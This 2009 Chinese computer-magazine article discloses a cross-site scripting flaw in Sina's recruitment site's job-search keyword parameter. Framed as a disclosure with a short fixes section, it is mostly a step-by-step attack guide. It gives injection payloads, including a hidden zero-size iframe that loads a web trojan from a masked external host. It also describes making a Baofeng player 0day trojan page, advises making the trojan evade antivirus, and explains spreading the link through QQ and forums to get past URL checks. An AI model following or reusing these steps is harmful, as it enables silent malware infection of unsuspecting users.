新浪招聘 不能说的秘密


本期主角:新浪招聘

问题所在:关键词过滤不严,可实施跨站脚本攻击

    主要危害:进行挂马攻击

    调研时间:2009.6.24~2009.6.26

    漏洞状况:已通知修复

   

新浪作为国内数一数二的门户网站,一直是众多黑客关注的对象。最近电脑报的黑客朋友发现了一个有关新浪的秘密,一个不能对外人说的秘密——新浪招聘存在可以进行跨站挂马的漏洞。

 

当前经济不景气,工作非常不好找,毕业就等于失业的话在网上时时可以看到。一个好工作,无数人会争破头,而去新浪工作无疑是一个好工作,提交申请的人不计其数。“新浪招聘”是新浪专门用于招聘人才的分站(图1)。

 

但是由于该站没有对用户提交的搜索关键字进行过滤,导致了跨站脚本漏洞的存在。黑客可以构造特殊的脚本代码直接将挂马代码写入到网页中,用户只要点击链接就会触发网页木马。如果小编没有及时通知新浪修复,如果该漏洞被用来进行挂马,会有多少人会因此中毒呢?

 

关键字过滤不严

在“新浪招聘”主页中,提供了职位的搜索功能,直接输入需要搜索的职位关键字即可进行搜索,例如我们随便输入“编辑”,点击“开始搜索”按钮后很快可以得到显示搜索结果,其结果页面的URL如下:http://career.sina.com.cn/job_list.php?area=&type=&ptype=&datearea=&keyword=%B1%E0%BC%AD。其中“%B1%E0%BC%AD”是经过URL编码的“编辑”。

可见,“keyword”参数后面跟着的就是搜索关键字。很多网站在用参数来进行查询时,都没有进行危险字符的过滤,新浪网会不会也犯这种低级错误呢?我们直接将关键字“%B1%E0%BC%AD”替换为“<script>alert('test')</script>”。回车后,页面弹出了一个对话框,内容为“test”,(图2)因此可以证明新浪招聘确确实实存在跨站漏洞,而接下来的利用步骤,将会让我们感受到这个漏洞的恐怖。

 

新浪招聘挂马路演

将“keyword”参数后的关键字修改为“<iframe src="http://www.baidu.com" width=900 height=1200></iframe>”,回车后我们在“新浪招聘”的首页下方可以看到百度的搜索框(图3)。这说明我们成功将百度插入到了“新浪招聘”的首页当中,如果把百度的网址换成网页木马的地址……

 

第一步:制作网页木马

要在“新浪招聘”上挂马,当然要先配置好网页木马。普通用户注重Windows系统漏洞的修补,却容易忽视第三方软件的漏洞修补,因此利用此类漏洞的成功率较高,这里我们选用的是暴风影音漏洞。

然后我们要准备一个网页空间(使用网络上的免费空间即可),将我们配置好的木马服务端上传到网页空间中。最好事先对木马进行免杀处理,这样可以提高木马的自我保护能力。接着我们运行《暴风影音0day网马生成器》,将木马的URL地址填入到文本框中,点击“make”按钮,在生成器所在的目录中就会产生一个名为bf.htm的网页,网页木马就制作好了(图4)。

 

第二步:构建挂马URL

       制作好网页木马,我们将它上传到网页空间中,再构建挂马URL。将关键词替换为挂马代码,替换完成后完整URL如下:http://career.sina.com.cn/job_list.php?area=&type=&ptype=%CA%D0%B3%A1%D3%AA%CF%FA%C0%E0&datearea=&keyword=<iframe src="http://www.***.com/bf.htm" width=0 height=0></iframe>。

将其中的“width”和“height”参数的值修改为0,这样网页木马将悄悄地打开,不会像之前测试百度时那样打开一个页面,这样可以大大提到挂马的隐蔽性。现在,我们只要让别人访问这条URL就可以挂马的操作了。

 

第三步:传播挂马URL

由于我们利用的是“新浪招聘”进行挂马,career.sina.com.cn出现在最前面,而挂马的代码出现在最后面,因此各种具有URL安全检测功能的软件都会认为它是新浪网的一条URL,因此成功放行。

我们来做个测试。将挂马代码http://career.sina.com.cn/job_list.php?area=&type=&ptype=%CA%D0%B3%A1%D3%AA%CF%FA%C0%E0&datearea=&keyword=<iframe%20src="http://www.***.com/bf.htm"%20width=0%20height=0></iframe>,复制到QQ聊天窗口中发送给对方,结果QQ检测URL后显示绿色标志,说明URL正常(图5)。

此外,黑客还可以将挂马URL以招聘信息挂到论坛、聊天室、博客等流量较大的地方,如果真的有黑客这样做了,后果就不堪设想了。

安全小百科:在发送挂马URL之前需要将URL中的空格替换为%20,否则在发送中过程中可能会出现超链接不完整的情况。

 

漏洞解决方案

要堵上这个漏洞,需要在新浪招聘网站上进行严格的关键字过滤,不允许输入网址,更加不能允许运行网址。对我们普通用户而言,上网时一定要开启杀毒软件的实时监控,最好使用带网页木马拦截功能的安全辅助工具。

仔细鉴别别人发送的URL,如果URL中出现敏感内容,例如iframe、script等,或者URL经过加密,那么这条URL就千万不能点击,很可能URL背后隐藏的是一个巨大的挂马阴谋。